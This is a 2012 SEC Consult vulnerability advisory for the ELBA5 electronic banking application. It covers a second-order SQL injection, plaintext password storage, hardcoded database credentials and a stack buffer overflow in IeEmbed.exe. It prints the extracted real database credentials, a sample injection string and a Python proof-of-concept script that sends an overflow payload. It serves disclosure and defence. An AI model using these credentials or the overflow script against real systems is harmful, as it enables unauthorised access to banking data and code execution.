SEC Consult Vulnerability Lab Security Advisory < 20121220-0 > ======================================================================= title: Multiple Vulnerabilities in ELBA5 product: ELBA 5 vulnerable version: 5.5.0 R00006 build 0796 fixed version: 5.6.0 R3 impact: Medium homepage: http://www.elba.at/ found: 10.08.2012 by: Kestutis Gudinavicius SEC Consult Vulnerability Lab https://www.sec-consult.com ======================================================================= Vendor description: ------------------- ELBA electronic banking is a multi-user, multi-protocol banking application. For details, see http://www.elba.at. Vulnerability overview/description: ----------------------------------- 1) Due to insufficient input validation, the application is vulnerable to a second order SQL injection. By exploiting a SQL injection vulnerability, an attacker could gain access to all records stored in the database. 2) The ELBA application stores user passwords as plaintext in the database. If the database is compromized, for example, by exploiting a SQL injection vulnerability an attacker could retrieve unencrypted passwords and use them to take over user accounts. 3) Stand-alone and network versions of ELBA5 use default credentials in order to connect to a database. Credentials cannot be changed, for example, by editing a configuration file, because they are hardcoded in the application. The installation guide does not mention a possibility of setting a custom password in order to connect to a database. An attacker can easily extract credentials from the publicly available versions of ELBA5 and use them against the legitimate systems running the vulnerable software. 4) The application uses the Java Desktop Integration Components (JDIC) package to extend its functionality. The JDIC package contains the executable IeEmbed.exe, which is vulnerable to a stack based buffer overflow. An attacker is able to execute arbitrary code in the context of the user when sending a specially crafted packet to the locally accesible TCP port bound by the IeEmbed.exe. This vulnerability is highly severe in multi user environments such as Citrix - one terminal user can attack other terminal users. Proof of concept: ----------------- 1) A SQL injection payload that is injected in the name of the account group field during the creation of an account group is later used unescaped by some forms of the application. To test this issue, it is sufficient to add a new account group (Master Data -> More -> Account Groups) that contains a single quote character in its name e.g. "SQL_INJECTION'" and navigate to the Payments -> Finished orders or Payments -> Packed orders form. Selecting a newly created account group from the "Client account" drop-down list will result in a SQL syntax error message. The following output is an application debug message. It shows an affected SQL statement. Note that the parameter "kgruppe" contains unescaped value resulting in an invalid SQL query. ERROR [a1b95f8175cd4c2] DataSourceDB.handleThrowable: DB-Fehler aufgetreten -> fullContent: --- Message: current statement: SELECT a2.vfgid, bestand.bestNr, a1.zeichbed, bestand.uwkz, a2.zeichbed, a2.signnr, k.inhaber1, a1.signnr, bestand.sammler, bestand.anzahl, ebzsb.ebzid, edidoc.senden, bestand.vermerk, bestand.konto, a2.vfgname, a1.vfgname, bestand.umsvkn, bestand.status, rzkennung.rzkennung, edifile.edifilenr, aufart.zvart, a2.signstat, a1.signstat, bestand.summe, bestand.gwkz, a2.docnr, bestand.iban, bestand.kontoBez, a1.signkey, a1.docnr, a2.signkey, (select count(*) from aufkopf where bestand.bestnr = aufkopf.bestnr), bestand.blz, bestand.linRef, bestand.docNr, rzkennung.rzid, bestand.linNr, bestand.scode, COALESCE(edifile.vaxdat, edifile.senddat), rzkennung.bankbez, bestand.msgNr, bestand.wkz, a2.sign, a1.sign, bestand.kto, a1.vfgid, bestand.datArt, bestand.gvc, a1.vfgnr, bestand.matchcd, a2.vfgnr, bestand.art, bestand.dfDat, bestand.swift, bestand.kontrollwert FROM bestand join edimsg on bestand.docnr = edimsg.docnr and bestand.msgnr = edimsg.msgnr join aufart on bestand.art = aufart.art LEFT OUTER JOIN ( select zvk.konto, zvk.inhaber1, zvk.logicKto from ZVKONTO zvk union all select ek.konto, ek.inhaber, null from EXTKONTO ek) as k (konto, inhaber1, logicKto) on bestand.konto = k.konto join edidoc on edimsg.docnr = edidoc.docnr join rzkennung on edidoc.rzid = rzkennung.rzid left outer join edifile on edidoc.edifilenr = edifile.edifilenr left outer join autack a1 on edidoc.docnr = a1.adocnr and a1.vfgidx = 1 left outer join autack a2 on edidoc.docnr = a2.adocnr and a2.vfgidx = 2 left outer join ebzsb on edidoc.docnr = ebzsb.adocnr WHERE 1=1 AND edidoc.status in ( 15, 16, 11, 12, 13, 14 ) AND ( coalesce(bestand.konto, 0) = 0 OR bestand.konto in ( select konto from BEDKTO where bediener = 3) ) AND (COALESCE(k.logicKto, k.konto) in (select konto from grpkto where kgruppe = 'SQL_INJECTION' ')) ORDER BY bestand.docNr desc, bestand.msgNr, bestand.linNr--- 2) The unencrypted user credentials are stored in the database table BEDIENER, the affected column is PASSWORT. 3) Despite the fact that some parts of the application are obfuscated it is relatively easy to extract hardcoded database credentials using a debugger. The following credentials were extracted and used to successfully connect to the remote ELBA5 databases: uid=elba pwd=i#aG_7Yd9# 4) The component IeEmbed.exe is launched every time when a user navigates to, for example, Accounts -> Account overview form. The component starts listening on a random TCP port and binds to localhost. When parsing a data packet that is supposed to be converted to a HTTP POST request, the component IeEmbed.exe allocates a fixed size array to hold the HTTP headers, but fails to validate the user supplied data. By providing a large enough string (more than 2048 bytes) the stack buffer is overflowed. To test this vulnerability, a similar to the following data was sent to the TCP port that was opened by the component IeEmbed.exe. The value 2556364 was the handle of the arbitrary active window and the {A x 4096} value represents the 4096 bytes length string. 0,1,2556364</html><body></html> 0,6,http://localhost0,6,foo=bar0,6,AAAAAAAAAAAA...{A x 4096}...AAAAAAAA</html><body></html> A harmless proof of concept code (Python (2.x) is required) is provided below. Running it will result in a crash of the component IeEmbed.exe. Crash details can be analyzed using a debugger. import socket import sys EIP='\xaa\xaa\xaa\xaa' def socket_read(sock): data = '' sock.settimeout(1) while True: try: buff = sock.recv(1024) except socket.timeout: break data += buff if not buff: break return data if __name__ == '__main__': if len(sys.argv) != 3: print "Usage: ./%s <Target IP> <Port>" % sys.argv[0] sys.exit(1) host, port = sys.argv[1:] s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, int(port))) print '\n- Searching for the window handle\n' for i in xrange(65552,70000): pkt='0,1,%s</html><body></html>' % i print 'Sending data (to %s:%i):\n%s' % (host, int(port), repr(pkt)) s.send(pkt) data=socket_read(s) if data: print '\n- Sendind exploit payload\n' pkt='0,6,http://localhost0,6,foo=bar0,6,&apos; + 'A' * 2087 + EIP + '</html><body></html>' print 'Sending data (to %s:%i):\n%s' % (host, int(port), repr(pkt)) s.send(pkt) s.close() break sys.exit(1) Vulnerable / tested versions: ----------------------------- 5.5.0 R00006 build 0796 Vendor contact timeline: ------------------------ 2012-09-04: Contacting vendor through software () racon-linz at 2012-09-04: Vendor response: Issues will be investigated. 2012-09-25: Vendor response: New release with fixes will be published on 03.12.2012 2012-11-26: Vendor response: Release rescheduled to 17.12.2012 2012-12-20: Public disclosure of advisory Solution: --------- Upgrade to ELBA 5 5.6.0 R3 Workaround: ----------- None Advisory URL: ------------- https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Unternehmensberatung GmbH Office Vienna Mooslackengasse 17 A-1190 Vienna Austria